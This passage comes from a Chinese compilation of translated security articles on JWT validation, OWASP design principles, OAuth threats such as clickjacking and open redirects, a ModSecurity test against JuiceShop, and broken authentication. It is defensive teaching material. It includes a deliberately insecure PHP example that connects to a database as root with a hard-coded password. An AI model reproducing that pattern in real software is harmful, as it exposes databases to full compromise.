3. 检查客户的环境。用户的手机是否被盗，以便攻击者可以访问预先认证的移动应用程序？客户端是否从受感染的设备（如移动电话或受感染的计算机）访问您的服务？发现攻击者如何获得令牌是完全理解错误的唯一方法。
4. 检查您的服务器端环境。攻击者是否能够从您的角色中妥协令牌？如果是这样，这可能需要更多的工作来修复，但越早开始就越好。

一旦完成了这些步骤，您应该更好地了解令牌是如何被泄露的，以及需要采取哪些措施来防止令牌在未来发生。

如何检测令牌妥协

当令牌妥协确实发生时，它可能会导致重大问题。特别是如果您（作为服务提供商）无法快速检测到攻击者已经破坏了客户端的令牌。

如果您能够自动识别令牌被泄露的情况怎么办？这将极大地提高您服务的安全性，因为您可以主动防止可疑请求得到满足，从而保护您的服务和用户。

虽然不容易，但这绝对是可能的。像TensorFlow这样的现代机器学习工具包允许您构建功能（虽然复杂）的管道，以检测异常模式并主动负责这种情况。

例如，您可以使用机器学习来检测不寻常的客户端位置。假设您运行一个网站，并且您的用户已从旧金山登录并且已经提出了几个小时的请求。如果您发现请求在短时间内开始来自不同的地理区域，您可以立即阻止这些请求被执行，撤消令牌，并联系用户以重置其密码等。

以类似的方式，您可以使用机器学习来检测异常的客户端行为。如果令牌遭到入侵，攻击者很可能会采取措施以某种方式滥用您的服务。如果您的用户通常在您的网站上每分钟发出五个请求，但突然之间您会注意到用户每分钟发出50多个请求的大幅提升，这可能是攻击者获得保留的良好指标用户的令牌，因此您可以撤消令牌并联系用户以重置其密码。

通过机器学习进行模式检测和识别是处理这些更复杂问题的一种奇妙的现代方法。

这正是我们在Okta所做的 - 我们运行一个API服务，允许您在我们的服务中存储用户帐户，我们提供开发人员库来处理身份验证，授权，社交登录，单点登录，多因素等事务当用户登录由Okta提供支持的应用程序时，我们会分析一些数据点以检测帐户是否已被盗用，提示进行多因素身份验证，执行用户外展等。

积极主动地保护您的安全性有很多复杂性，但准备比准备好要好得多。

JSON Web令牌标准已经在IETF和OIDF上收到了许多安全审查，专家认为它足够安全。但这并不是万无一失的。作为开发人员，如果不适当地使用JWT或实现JWT的库(包括这个库)，就很容易搬起石头砸自己的脚。

1. 永远不要让JWT头单独驱动验证

收到的JWTs必须经过适当的验证。当您这样做时，永远不要让JWT或它的任何头参数单独驱动验证过程。始终有一个明确的合同，适合您的应用程序，规定了允许的JWT算法和其他头部或负载参数。

在此初始筛选成功通过之前，不要尝试加密处理JWT。如果您收到一个JWT，其中包含一个未预料到的算法，那么丢弃它，并立即停止。

请记住，JWTs可以作为HMAC受保护的、签名的、加密的，甚至完全不安全的(alg = none)。JWT解析并具有正确的格式并不意味着它是可信的。让你的应用程序容易受到攻击的最明显的方法是获取alg头部，然后立即验证JWT的HMAC或签名，而不是首先检查JWT alg是否可以接受。如果你的应用程序得到一个不安全的JWT与alg = none会发生什么?

所以请记住，一定要有一个明确的合同，并使用它来筛选每个JWT之前，试图解密它，或检查其签名或HMAC。

例如，OpenID连接客户端在注册时建立允许的ID令牌安全算法。不匹配预期算法的ID令牌将被立即丢弃。

示例ID令牌契约:

{ "id_token_signed_response_alg" : "RS256",

"id_token_encrypted_response_alg" : "RSA-OAEP",

"id_token_encrypted_response_enc" : "A128GCM"

}

OpenID Connect进一步指定验证ID令牌的RSA或EC密钥来自何处:这是IdP发布的JWK集合URL，而不是其他地方。如果多个密钥在JWK集合URL上发布，那么应该使用哪个密钥?这是通过JWT的kid (key ID)头参数进行通信的。

{ "alg" : "RS256",

"kid" : "sho0jea6" }

如果要验证ID令牌，请使用经过良好测试和建立的库，比如Pac4j。是的，我们确实维护了一个全面的OpenID Connect SDK，但是我们建议您使用更高级别的Pac4j，因为它提供了一个更适合开发人员的包。

如果要将JWTs验证为OAuth 2.0访问令牌，请查看这里的示例。它演示了Nimbus JOSE+JWT框架在处理JWTs时的用法，该框架考虑了上述所有因素。

2. 知道这个算法

了解您的算法，以及在完整性、真实性、不可抵赖性和机密性方面，您可以期望它们具有哪些安全性属性。

常见的错误是将基于哈希的消息验证码(HMAC)等同于数字签名。不，它们是不一样的，即使它们使用一种公共格式(JSON Web签名)。请记住，JWS格式也用于不安全的JWTs (alg = none)。

这个库不允许您将不安全的JWTs与HMAC或数字签名保护的JWTs混淆，因为它使用了单独的Java类型。但其他库可能不会强制执行此功能。我们发现OOP和类型安全通常对安全性有好处。

如果您想知道您的应用程序使用哪种特定的JWS或JWE算法，请查看我们的算法选择指南。

3.使用适当的密钥大小

请确保为应用程序使用适当的密钥大小。

这个库中有许多防止使用小于256位的HMAC密钥、小于128位的AES密钥或小于1024位的RSA密钥的检查(对于遗留应用程序，2048正在成为新的规范)。但是要注意，其他libs可能不会这样做。

最后，请记住采取所有必要的措施来确保共享或私有密钥的安全性。Nimbus JOSE+JWT已经准备好支持插入硬件安全模块(HSMs)，即在外部设备中执行签名或加密的硬件片段，同时保持操作系统和软件无法访问密钥(以防它们受到攻击)。

原文：https://connect2id.com/products/nimbus-jose-jwt/vulnerabilities

本文：http://pub.intelligentx.net/common-jwt-security-vulnerabilities-and-how-avoid-them

讨论：请加入知识星球或者小红圈【首席架构师圈】

什么是应用程序安全原则？

应用程序安全性原则是理想的应用程序属性，行为，设计和实现实践的集合，旨在降低威胁实现的可能性，并在威胁实现时产生影响。安全原则是与语言无关的，体系结构中立的原语，可以在大多数软件开发方法中用于设计和构建应用程序。

原则很重要，因为它们可以帮助我们在新的情况下使用相同的基本思想做出安全决策。通过考虑这些原则中的每一个，我们可以得出安全要求，制定架构和实施决策，并识别系统中可能存在的缺陷。

需要记住的重要一点是，为了有用，必须对原则进行评估，解释和应用以解决特定问题。虽然原则可以作为一般指导原则，但只是告诉软件开发人员他们的软件必须“安全地失败”或者他们应该做“深度防御”并不意味着那么多。

一些成熟的应用安全原则

1. 深度应用防御（完全调解）
2. 使用积极的安全模型（故障安全默认值，最小化攻击面）
3. 安全失败
4. 以最小特权运行
5. 通过默默无闻来避免安全（开放式设计）
6. 保持安全简单（可验证，机制经济）
7. 检测入侵（妥协录音）
8. 不要信任基础设施
9. 不要相信服务
10. 建立安全默认值（心理可接受性）

应用安全原则

考虑设计一个简单的Web应用程序，允许用户向朋友发送电子邮件。通过评估和解释每个原则，我们可以对此应用程序产生许多威胁，并最终得出一组保护要求。我们希望最终提供安全提供此服务所需内容的完整列表。

References

• Saltzer and Schroeder (see section 3)
• The Six Dumbest Ideas in Computer Security
• Gary McGraw's 10 steps to secure software
• OWASP Development Guide Project
• Engineering Principles for Information Technology Security (EP-ITS), by Gary Stoneburner, Clark Hayden, and Alexis, NIST Special Publication (SP) 800-27 (PDF)
• Secure Design Principles from "Foundations of Security: What Every Programmer Needs To Know" by Neil Daswani, Christoph Kern, and Anita Kesavan (ISBN 1590597842)
• High-Assurance Design by Cliff Berg, 2005, Addison-Wesley. Foreword by Peter G. Neumann. Design principles and patterns for secure and reliable design.

原文：https://www.owasp.org/index.php/Category:Principle

本文：

深入讨论：请加入知识星球【首席架构师圈】

描述

最小权限原则建议帐户具有执行其业务流程所需的最少权限。这包括用户权限，资源权限（如CPU限制，内存，网络和文件系统权限）。

例子

授予中间件服务器的管理权限
例如，如果中间件服务器只需要访问网络，读取对数据库表的访问权限以及写入日志的能力，则会描述应授予的所有权限。在任何情况下都不应授予中间件管理权限。
以Root身份连接到数据库
在此示例PHP代码中，仅发出数据库中的SELECT语句。没有理由以root身份连接到数据库。相反，应该创建一个用户，只对数据库有必要的访问权限，可以用来执行SELECT查询。

<?php
$host = 'localhost';
$userID = 'root';
$password = 'password';
$db = mysql_connect($host, $userID, $password) or die ('Error connecting to mysql');
$name = 'testdatabase';
mysql_select_db($name);
$sql="SELECT * FROM theTable";
$result=mysql_query($sql);
?> 

相关漏洞

• Failure to drop privileges when reasonable
• Failure to check whether privileges were dropped successfully
• Least Privilege Violation

相关控制

• Authorization

参考

• The Protection of Information in Computer Systems

原文：https://www.owasp.org/index.php/Least_privilege

本文：

讨论：加入知识星球或者小红圈【首席架构师圈】

描述

检测入侵需要三个要素：

1. 记录安全相关事件的能力
2. 确保定期监控日志的程序
3. 一旦检测到正确响应入侵的程序

您应该记录所有安全相关信息。也许您可以通过查看在运行时无法检测到的日志来检测问题。但是你必须记录足够的信息。特别是，应记录所有安全机制的使用，并提供足够的信息来帮助追踪违法者。此外，应用程序中的日志记录功能还应提供管理记录信息的方法。如果安全分析师无法解析事件日志以确定哪些事件可操作，则日志记录事件几乎不提供任何值。

检测入侵很重要，否则你会给攻击者无限的时间来完善攻击。如果您完全检测到入侵，那么攻击者只有在被检测到并且无法发起更多攻击之前才会进行一次尝试。请记住，如果您收到合法用户无法生成的请求 - 这是一次攻击，您应该做出适当的回应。日志记录为您的应用程序/站点提供取证功能。如果它被摧毁或被黑客攻击，你可以追查罪魁祸首并检查出了什么问题。如果用户使用匿名代理，那么记录好日志仍然会有所帮助，因为记录了“发生的事情”并且可以更轻松地修复漏洞。

不要依赖其他技术来检测入侵。您的代码是系统中唯一具有足够信息来真正检测攻击的组件。其他任何事物都不会知道哪些参数有效，允许用户选择哪些操作等。它必须内置到应用程序中。

例子

简短的例子名称
这是一个占位符。使用ESAPI进行日志记录的更好示例将在此处进行。

public void testLogHTTPRequest() throws ValidationException, IOException, AuthenticationException {
       System.out.println("logHTTPRequest");
       String[] ignore = {"password","ssn","ccn"};
       TestHttpServletRequest request = new TestHttpServletRequest();
       // FIXME: AAA modify to return the actual string logged (so we can test)
       Logger.getLogger("logger", "logger").logHTTPRequest(Logger.SECURITY, request, Arrays.asList(ignore) );
       request.addParameter("one","one");
       request.addParameter("two","two1");
       request.addParameter("two","two2");
       request.addParameter("password","jwilliams");
       Logger.getLogger("logger", "logger").logHTTPRequest(Logger.SECURITY, request, Arrays.asList(ignore) );
   } 

相关漏洞

• Vulnerability 1

TBD

相关控制

• Vulnerability 1

TBD

参考

• ESAPI Logging and Intrusion Detection

原文：https://www.owasp.org/index.php/Detect_intrusions

本文：

讨论：加入知识星球或者小红圈【首席架构师圈】

描述

“积极的”安全模型（也称为“白名单”）是定义允许的内容并拒绝其他所有内容的安全模型。这应与“负面”（或“黑名单”）安全模型形成对比，后者定义了不允许的内容，同时隐式允许其他所有内容。

积极的安全模型可以应用于许多不同的应用程序安全区域。例如，在执行输入验证时，正模型要求您应指定允许的输入特征，而不是尝试过滤掉错误输入。在访问控制区域中，肯定模型是拒绝访问所有内容，并且仅允许访问特定的授权资源或功能。如果您曾经不得不处理网络防火墙，那么您可能已经遇到了正面模型的这个应用程序。

使用积极模型的好处是可以防止开发人员未预料到的新攻击。但是，当您试图阻止对您网站的攻击时，负面模型可能非常诱人。然而，最终采用否定模型意味着你永远不会确定你已经解决了所有问题。您最终还会得到一长串负面签名来阻止必须维护。

例子

isAuthorized
if（ESAPI.accessController（）。isAuthorizedForFunction（ADMIN_FUNCTION））{
  doAdminFunction（）;
}
其他{
  doNormalFunction（）;
}
在此示例中，发生验证，验证是否允许活动用户执行ADMIN_FUNCTIONS。如果是这种情况，将执行请求的管理方法doAdminFunction（），否则执行需要方法doNormalFunction（）的默认和非管理特权。

相关漏洞

• Improper error handling

相关控制

• Authorization
• Error handling
• Web Application Firewall

原文：https://www.owasp.org/index.php/Positive_security_model

本文：

讨论：加入知识星球或者小红圈【首席架构师圈】

描述

纵深防御原则是分层安全机制提高了整个系统的安全性。如果攻击导致一个安全机制失败，则其他机制仍可提供保护系统所需的安全性。例如，完全依赖防火墙为内部使用的应用程序提供安全性并不是一个好主意，因为防火墙通常可以被确定的攻击者规避（即使它需要物理攻击或社会工程攻击某种）。应添加其他安全机制以补充防火墙提供的保护，例如监视摄像机和安全意识培训，以解决不同的攻击媒介。

实施纵深防御策略会增加应用程序的复杂性，这与安全性中经常使用的“简单”原则背道而驰。也就是说，人们可能会争辩说，添加新的保护功能会增加额外的复杂性，从而带来新的风险。需要权衡系统的总风险。例如，具有基于用户名/密码的身份验证的应用程序可能无法将所需的密码长度从8个字符增加到15个字符，因为增加的复杂性可能导致用户将密码写下来，从而降低了系统的整体安全性;但是，添加智能卡要求以对应用程序进行身份验证将通过向身份验证过程添加补充层来增强应用程序的安全性。

例子

易受攻击的管理界面
如果对管理接口进行匿名攻击，如果它正确地访问生产管理网络，检查管理用户授权并记录所有访问权限，则对管理接口的身份验证控制失败的可能性不大。

相关漏洞

TBD

相关控制

深度防御原则与特定控制或控制子集无关。设计原则是指导应用程序的控制选择，以确保其抵御不同形式的攻击，并降低系统安全性单点故障的可能性。

References

• National Security Agency Defense In Depth Guide
• CLASP Security Principles

原文：https://www.owasp.org/index.php/Defense_in_depth

本文：

深度讨论：加入知识星球或者小红圈【首席架构师圈】

以下是构建授权服务器时应考虑的一些已知问题。

除了此处列出的注意事项外，OAuth 2.0线程模型和安全注意事项草案中还提供了更多信息。

网络钓鱼攻击

针对OAuth服务器的一种潜在攻击是网络钓鱼攻击。这是攻击者创建一个看起来与服务授权页面相同的网页的地方，该页面通常包含用户名和密码字段。然后，通过各种手段，攻击者可以诱骗用户访问该页面。除非用户可以检查浏览器的地址栏，否则该页面可能看起来与真正的授权页面相同，并且用户可以输入他们的用户名和密码。

攻击者可以尝试欺骗用户访问伪造服务器的一种方法是将此网络钓鱼页面嵌入到本机应用程序中的嵌入式Web视图中。由于嵌入式Web视图不显示地址栏，因此用户无法直观地确认它们位于合法站点上。不幸的是，这在移动应用程序中很常见，并且开发人员通常希望通过在整个登录过程中将用户保持在应用程序中来提供更好的用户体验。某些OAuth提供商鼓励第三方应用程序打开Web浏览器或启动提供程序的本机应用程序，而不是允许它们在Web视图中嵌入授权页面。

对策

确保通过https提供授权服务器以避免DNS欺骗。

授权服务器应该向开发人员介绍网络钓鱼攻击的风险，并且可以采取措施防止该页面嵌入到本机应用程序或iframe中。

应该让用户了解网络钓鱼攻击的危险，并且应该教授最佳实践，例如只访问他们信任的应用程序，并定期查看他们授权撤销对不再使用的应用程序的访问权限的应用程序列表。

在允许其他用户使用该应用程序之前，该服务可能希望验证第三方应用程序。 Instagram和Dropbox等服务目前正在执行此操作，在初始创建应用程序时，该应用程序仅可由开发人员或其他白名单用户帐户使用。应用程序提交审批并进行审核后，可以由该服务的整个用户群使用。这使服务有机会检查应用程序如何与服务交互。

点击劫持

在点击劫持攻击中，攻击者创建了一个恶意网站，在该网站中，攻击者网页上方的透明iframe中加载了授权服务器URL。攻击者的网页堆放在iframe下方，并且有一些看似无害的按钮或链接，非常小心地放在授权服务器的确认按钮下面。当用户单击误导性可见按钮时，他们实际上是单击授权页面上的不可见按钮，从而授予对攻击者应用程序的访问权限。这允许攻击者欺骗用户在他们不知情的情况下授予访问权限。

对策

通过确保授权URL始终直接在本机浏览器中加载，而不是嵌入在iframe中，可以防止这种攻击。较新的浏览器能够授权服务器设置HTTP标头，X-Frame-Options，而旧版浏览器可以使用常见的Javascript“框架破坏”技术。

重定向URL操作

攻击者可以使用属于已知正常应用程序的客户端ID构建授权URL，但将重定向URL设置为受攻击者控制的URL。如果授权服务器未验证重定向URL，并且攻击者使用“令牌”响应类型，则用户将使用URL中的访问令牌返回到攻击者的应用程序。如果客户端是公共客户端，并且攻击者拦截授权代码，则攻击者还可以交换访问令牌的代码。

另一个类似的攻击是攻击者可以欺骗用户的DNS，并且注册的重定向不是https URL。这将允许攻击者伪装成有效的重定向URL，并以这种方式窃取访问令牌。

“打开重定向”攻击是指授权服务器不需要重定向URL的完全匹配，而是允许攻击者构建将重定向到攻击者网站的URL。无论这是否最终被用于窃取授权码或访问令牌，这也是一个危险，因为它可用于发起其他无关的攻击。有关Open Redirect攻击的更多详细信息，请访问https://oauth.net/advisories/2014-1-covert-redirect/。

对策

授权服务器必须要求应用程序注册一个或多个重定向URL，并且仅重定向到先前注册的URL的完全匹配。

授权服务器还应要求所有重定向URL均为https。由于这有时会给开发人员带来负担，特别是在应用程序运行之前，在应用程序“处于开发阶段”时允许非https重定向URL并且只能由开发人员访问，然后要求在发布应用程序之前，重定向URL已更改为https URL。

原文：https://www.oauth.com/oauth2-servers/authorization/security-considerations/

本文：

讨论：请加入知识星球或者小红圈【首席架构师圈】

没有必要过度思考哪种概念是最安全的编程语言。实际上没有一个，开发人员应该专注于如何用他们选择的语言编写最安全的代码。

这是软件安全公司WhiteSource的知识和研究小组负责人Tsaela Pinto的结论，该公司最近发布了一份关于不同语言的安全漏洞的报告。

“没有人会根据安全性或基于我们的调查结果选择或应该选择一种语言。您将根据自己的软件需求进行选择。在开源安全方面，您需要了解独特的挑战。每种语言。“
-Tsaela Pinto

在WhiteSource的调查结果中：C编程语言占过去十年公开披露的所有开源漏洞的47％，2018年漏洞中最大的漏洞发生在Linux操作系统的代码中，即网络协议扫描程序Wireshark，和ImageMagick图形套件。

这些数据可能会导致一些人最终避免使用C或Linux进行未来开发。但平托说，这样的决定将是轻率的。 “项目越受欢迎，报告的漏洞就越多。由于你拥有更大的社区，更多的人使用这些代码，他们可以发现更多的漏洞。” （无论您使用何种语言来创建应用程序，您仍然需要一个顶级的应用程序安全测试工具来帮助根除漏洞）。

底线：不要惊慌。无论您丢失什么语言，以下是提高代码安全性的四种方法。

1.语言选择基本上是安全中立的

开发人员应根据项目及其公司的需求选择编程语言和框架。虽然一些编程语言具有面向安全的功能，例如沙箱，垃圾收集和类型转换 - 所有这些都可以在Java中找到，例如，知识渊博的编码人员可以在大多数现代语言中创建安全代码。

生成最安全代码的最佳方法是使用建议安全模式的环境，并通过环境中的通知加强安全最佳实践，Sonatype副总裁兼DevOps倡导者Derek Weeks表示。

“如果你可以在他们构建应用程序的环境中获得开发人员所需的安全信息，那么这有助于他们采用安全的编码实践。当我使用Word时，我不需要成为拼写专家。同样原因是，每个开发人员都不应该成为安全专家。“
-Derek Weeks

2.教育自己安全编码

每种编程语言都有其变幻莫测和缺陷，经验丰富的程序员应该知道要避免的一般设计模式，以及产生漏洞的功能。

在其研究中，WhiteSource发现在Common Weakness Enumeration（CWE）框架下识别为CWE-119的缓冲区错误是用C和C ++创建的代码的最大漏洞。

跨站点脚本CWE-79是用PHP和Ruby编写的Web应用程序最常见的漏洞类，而Python程序最常遇到输入验证问题CWE-20。

WhiteSource营销副总裁Maya Rotenberg表示，意识是关键。

“我们看到的是每种语言都存在不同的挑战。因此，开发人员需要了解所选语言的优缺点，以便他们了解所面临的挑战。”
-Maya Rotenberg

但是语言之间存在差异。例如，JavaScript开发人员通常不会为标准软件漏洞标识符（称为公共漏洞枚举（CVE））分配漏洞。事实上，30％的JavaScript漏洞没有CVE，因此没有出现在国家漏洞数据库中，这是美国政府的软件漏洞集合。

3.使用可用的工具

当集成到开发生命周期中时，代码扫描工具可以帮助开发人员捕获由于不熟悉所选编程语言的弱点而导致的漏洞。

在其2018年的软件安全状态报告中，Veracode发现，增加漏洞扫描的数量会导致漏洞被更快地关闭。该公司发现，遵循DevSecOps节奏并进行每日扫描的公司 - 每年超过300次 - 产生了最重大的影响。

即使免费工具也可以提供帮工具随时可用于扫描GitHub上的代码，以确定代码中包含的任何开源软件包是否存在漏洞。

Sonatype's Weeks表示，定期更新代码包也有助于保护最终的软件产品。

“如果您使用最新的组件，那些已知漏洞较少，因此使用最新版本非常有意义。您可以采取非常具体的免费操作来改善您的安全卫生。”
-Derek Weeks

4.自动化使安全性变得简单

最后，开发人员应该自动化他们的流程，以便更容易采用安全最佳实践。目标是促使开发人员在自然开发流程中修复漏洞，而不是仅在流程结束时进行安全扫描。

在其2018年的软件供应链状态报告中，Sonatype发现，最成熟的DevOps从业者将自动化投资增加了15％，57％的公司在整个开发过程中进行自动化应用程序安全扫描。

WhiteSource的Pinto表示，公司需要帮助他们的开发人员加快编码软件的过程。她说，除自动扫描外，公司还应该使用问题跟踪系统。

“你可以做的最糟糕的事情是让你的程序员使用Jira门票。如果我收到安全警报，我也应该得到一个修复，我的系统应该优先考虑它们。”
-Tsaela Pinto

没有顶级语言

十多年来，程序员和开发人员一直在问这个看似简单的问题：哪种编程语言能够产生最安全的代码？完美的编程语言既功能丰富又优雅，可生成高效且安全的代码。

迄今为止，各种分析未能确定完美的语言。不同的安全公司提出了不同的语言安全指标。例如，2010年，网络应用安全公司WhiteHat Security研究了使用不同框架构建的网站，并用不同语言编写，以尝试确定哪种网络编程语言最安全。

WhiteHat专注于几个不同的指标，包括每个输入的漏洞数量，至少有一个漏洞的网站数量，以及严重未修补的漏洞数量。该公司从近1,700个企业网站评估中收集数据，包括使用Microsoft的ASP Classic和.NET框架，Adobe的Cold Fusion，Apache Struts，Java Server Pages，PHP和Perl构建的网站。

最后，公司无法明确指出平台或语言是最安全的。

确定最合适的编程语言安全度量标准已证明是困难的。在其2018年的软件安全状态报告中，Veracode测量了开发人员为每种编程语言修补代码所花费的时间。用Python编写的应用程序仅占Veracode测试程序的1％，其缺陷修复速度最快。 Android和JavaScript分别是第二和第三快修补。

另一方面，用PHP编写的应用程序具有开放时间最长的漏洞。用iOS和Java编写的程序分别是第二和第三缓慢修补的代码库。

这就是说安全性完美的开源编程语言与发现尼斯湖怪物或独角兽一样难以捉摸。相反，花点时间，按照上面的指导原则，用你能做的任何语言选择最好的语言。

原文：https://techbeacon.com/security/4-ways-secure-your-code-regardless-programming-language

本文：

讨论：请加入知识星球或者小红圈【首席架构师圈】

这篇文章并不是一个评估或适当的测试，它只是一个实验，看看这是如何运作的。

ModSecurity CRS + OWASP JuiceShop

ModSecurity是一个开源的web应用程序防火墙，可以在恶意请求攻击实际应用程序服务器之前过滤掉它们。OWASP Mod安全核心规则集(CRS)定义了一组用于ModSecurity的预定义规则。CRS本身提供了一组配置选项，可用于调整其行为。最基本的选择是偏执狂级别。通过增加偏执程度，会激活越来越多的攻击规则，从而增加用于确定请求是否为攻击的规则数量。不幸的是，更多的规则也意味着更多的错误空间，这将导致有效的请求被错误地检测为攻击。这些病例通常被称为假阳性结果。

在这篇文章中，我将只使用偏执狂级别1，这意味着在不干扰正常请求的情况下阻止一系列广泛的攻击。我将在以后的博客文章中探讨如何提高偏执的程度。

ModSecurity可以通过几种方式集成到应用程序中，在本例中，我将使用反向代理模式，使用提供的ModSecurity docker映像设置该模式非常容易

设置

Docker为JuiceShop和ModSecurity编写设置

这个设置中一个不幸的细节是，ModSecurity容器只支持ip地址作为代理的上游地址。这使得设置更加复杂，因为我们不能只使用juiceshop域名。作为备份，我将转发内部的JuiceShop端口，并使用我的本地ip和JuiceShop端口作为代理的上游地址。在非测试设置中，我们应该确保没有人能够连接到端口3001，因为这会让攻击者绕过WAF。

测试设置

为了测试这个设置的有效性，我们将使用JuiceShop的一些出色功能，即端到端(e2e)测试套件和“挑战跟踪”功能，即跟踪哪些挑战已经解决。哪些漏洞被成功利用。这将方便地查看哪些攻击被阻止了，哪些通过了。

为了进行比较，我运行了两次测试，启用和不启用ModSecurity CRS。运行测试套件之后，我下载了挑战列表，并查看了哪些挑战在ModSecurity设置中没有得到解决，但在未受保护的设置中得到了解决。列表:

在ModSecurity设置中无法解决的挑战/漏洞

为了进行比较，这里有一个关于ModSecurity所阻碍的挑战类别的概述:

假阳性率

看着被阻止的挑战列表，ModSecurity能够阻止的攻击数量让我非常兴奋。但第二次看的时候，我很困惑。在不了解应用程序的情况下，系统无法阻止许多攻击。为了理解这里发生了什么，让我们看一下伪造优惠券的例子。对于这个挑战，您需要伪造优惠券，以获得订单的80%折扣。

Web应用程序防火墙如何知道哪些优惠券是有效的，哪些不是。如果他们不能阅读编码的优惠券，他们怎么知道哪些折扣是可以接受的呢?

让我们来试试当你提交一个有效的优惠券时会发生什么:

尝试提交有效的优惠券，对ModSecurity保护的JuiceShop

有一个简单的解释，防火墙一直在阻止任何优惠券请求，而不仅仅是恶意的。这当然是一个问题，因为它阻碍了正常的应用程序使用。对于每一个错误(误报)，我们都必须为应用的规则定义一个异常。

因此，为了完成设置，我们仍然需要定义为out应用程序定制的异常，以确保它对我们的普通客户仍然可用。

结论

在这种设置中，阻塞漏洞的比率非常低。大多数被阻止的攻击都被阻止了，因为整个功能都没有功能。但这仍然是一个非常基本的设置运行在最小的偏执狂水平。为了进行正确的设置，我们必须通过定义现有规则的异常来教授有关应用程序的ModSecurity细节。

由于误报率很高，很难说哪些请求被正确阻止了，哪些只是过于激进规则的附带损害。

在下一篇文章中，我将尝试定义这些规则，以将假阳性率降到最低，然后我们将尝试提高偏执的程度。这将比这个简单的设置更好地概述ModSecurity的功能。

原文：https://medium.com/@j12934/testing-out-modsecurity-crs-with-owasp-juiceshop-649830932365

本文：

讨论：请加入知识星球或者小红圈【首席架构师圈】

在当今互联网驱动的世界中，管理用户名和密码已成为一项繁琐的任务。然而，由于数据的快速增长，移动和云技术的进步以及似乎每隔一天发生越来越多的安全漏洞，这是一个必要的恶魔。因此，身份验证和会话管理变得更加先进，以保护我们社会所依赖的数据，系统和网络。

尽管在过去的十年中，身份验证和活动会话的管理已经走过了漫长的道路，但它还远未完美。事实上，根据开源Web应用程序安全项目（OWASP）排名前10位，10个最大的Web漏洞列表，破碎身份验证和会话管理占据第二位，使其成为一个仍需要重点关注和改进的领域。自OWASP名单起源于2004年以来，尽管技术本身有所改进，但破碎认证和会话管理仍然位居前10名。

为什么破坏认证和会话管理很重要

根据最新的OWASP Top 10列表，“与身份验证和会话管理相关的应用程序功能通常不正确实施，允许攻击者破坏密码，密钥或会话令牌，或利用其他实施缺陷暂时承担其他用户的身份或永久。“攻击者可以手动检测破损的身份验证，然后使用自动化工具来利用这些漏洞。

在Web应用程序中，这些类型的缺陷可能非常严重。他们将企业置于极高风险之中。他们不仅可以暴露机密数据，而且还可以打开公司的后门，可以被恶意攻击者利用。内部和外部攻击者都可以利用这些漏洞窃取其他人的帐户并冒充用户。

一旦帐户被劫持，攻击者就有能力做任何账户持有人有权做的事情，这可能导致影响公司整体可行性的严重后果。攻击者只需要访问几个帐户或只需一个管理员帐户来破坏应用程序。根据应用程序的目的，损坏的范围可以从身份盗用到泄漏高度敏感的个人信息（或更糟）。

应用程序可能有很多方法容易受到这些身份验证和会话管理漏洞的影响。 OWASP列出了应用程序易受攻击的多种原因，包括：

1. 使用散列或加密存储时，用户身份验证凭据不受保护。
2. 可以通过弱帐户管理功能猜测或覆盖凭据。
3. 会话ID在URL中公开。
4. 会话ID容易受到会话固定攻击。
5. 会话ID不会超时，或者在注销期间用户会话或身份验证令牌（尤其是单点登录令牌）未正确无效。
6. 成功登录后，会话ID不会轮换。
7. 密码，会话ID和其他凭据通过未加密的连接发送。

如何保护您的应用程序

保护应用程序免受破坏身份验证的最佳方法是通过各种应用程序安全解决方案来解决此问题。在整个应用程序开发生命周期中解决安全性至关重要，从设计开始到产品的整个生命周期。应用程序的确切类型和范围将决定采取的最佳步骤，以防止破坏身份验证和会话管理问题，但每个部署中都应遵循一般最佳实践：

1. 尽可能使用多因素身份验证。
2. 不要部署包含任何默认凭据的应用程序。
3. 测试弱密码的应用程序。
4. 实施强密码策略，包括字符和长度要求，以及必须更改密码的设置间隔。
5. 限制失败的登录尝试并创建警报系统，以便在可能的会话攻击正在进行时通知相应的个人。
6. 不要在URL中存储会话ID;用户退出应用程序后，应安全地存储和无效。
7. 使用安全会话管理器，在每次登录后创建唯一的会话ID。
8. 进行全面的应用程序安全性测试，以验证是否正确保护了用户凭据和会话ID。
9. 设置适当的会话超时。
10. 遵循OWASP应用程序安全验证标准作为创建安全应用程序的基准。
11. 实施一组强大的身份验证和会话管理控制。
12. 使用SSL（安全套接字层）证书或VPN（虚拟专用网络）加密数据。

对破坏的身份验证和会话管理（以及其他潜在的应用程序漏洞）进行测试可能看起来令人生畏，但有些工具可以简化AppSec测试流程。应用程序漏洞管理器将来自无数AppSec工具的结果关联起来，因此您的团队不必浪费时间进行排序和比较结果。

相反，您将获得一个标准格式的报告，该报告可以为您提供识别哪些应用程序漏洞是真实且可利用的信息。此类工具不仅有助于识别损坏的身份验证问题，还可以提高应用程序在所有漏洞中的安全性。

在身份验证方面，有一些更复杂的选项变得越来越受欢迎，值得一提：

双因素身份验证

双因素身份验证正是其名称所暗示的 - 身份验证过程中需要两个步骤。第一步通常是密码，而第二步可能是许多选项。它可以是SMS消息，由认证应用程序生成的代码，甚至是指纹。

显然，双因素身份验证会增加安全性并使攻击者更难获得访问权限。认证要求的正确组合取决于诸如易用性，当然还有安全性等因素。需要更高安全级别的应用程序应选择更难以破解的组合。

单点登录（SSO）

单点登录（SSO）身份验证是使用单个服务来验证用户对多个帐户的访问权限。这可以通过验证用户身份的SSO网站或通过第三方联合服务提供商来完成。

后一种方法允许组织将认证问题交给专门从事该领域的公司。 SSO身份验证还提供更好的用户体验，因为用户无需登录多个系统并记住各种用户名和密码组合。选择提供商时，我们建议避免使用基于密码的解决方案，因为这些解决方案不太安全，并且可以通过一个密码为您的许多系统提供攻击者访问权限。

基于风险的身份验证（RBA）

借助机器学习技术，应用程序可以监控用户的行为并识别与他们正常登录（或退出）的时间，他们通常使用的设备以及他们在应用程序中执行的典型操作相关的模式。偏离这些规范会产生风险评分，触发一系列操作 - 从要求用户回答质询问题，证明可疑设备的所有权，甚至要求管理员批准访问。越来越多的组织正在采用RBA，因为它为认证提供了额外的保护。

虽然有很多内容可以保护您的应用程序免受破坏的身份验证和会话管理，但值得付出努力和必要。组织无法承担因身份验证违规而导致的后果，特别是如果它导致敏感信息泄露。幸运的是，遵循此处列出的提示并使用工具简化流程并跟踪进度，可以更轻松地构建安全的应用程序。

原文：https://codedx.com/broken-authentication-and-session-management/

本文：

讨论：请加入知识星球或者小红圈【首席架构师圈】

身份和访问管理（IAM）的世界有自己的语言，随着新技术的出现和安全威胁的变化，它也在不断发展。

虽然“必须知道”的术语列表太长，无法在一个博客中涵盖，但在您评估哪种IAM解决方案最适合您的组织时，这里有一些可以纳入您的词汇表。

1.访问管理

